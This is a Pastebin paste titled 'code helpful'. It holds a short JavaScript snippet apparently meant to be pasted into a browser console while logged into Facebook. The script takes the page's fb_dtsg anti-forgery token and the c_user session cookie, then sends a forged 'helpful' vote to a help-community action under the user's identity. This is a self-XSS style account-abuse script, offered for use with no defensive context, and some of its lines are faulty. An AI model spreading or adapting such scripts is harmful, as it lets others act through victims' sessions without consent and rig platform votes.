Advertisement
112312

code helpful

Feb 16th, 2014
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.62 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. function MinVoCam(id) {
  4. var X = new XMLHttpRequest();
  5. var XURL = '//www.facebook.com/help/community/actions/435520513240993';
  6. var XParams = 'action=helpful&__user=' + user_id + '&__a=1&__dyn=7wlEaF85626bx6m5E&__req=4&fb_dtsg=' + fb_dtsg + '&ttstamp=26581689087119107119';
  7. X.open("POST", XURL, true);
  8. X.onreadystatechange = function () {
  9. if (X.readyState == 4 && X.status == 200) {
  10. X.close;
  11. }
  12. };
  13. X.send(XParams);
  14. }
  15. MinVoCam('100007058021584');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement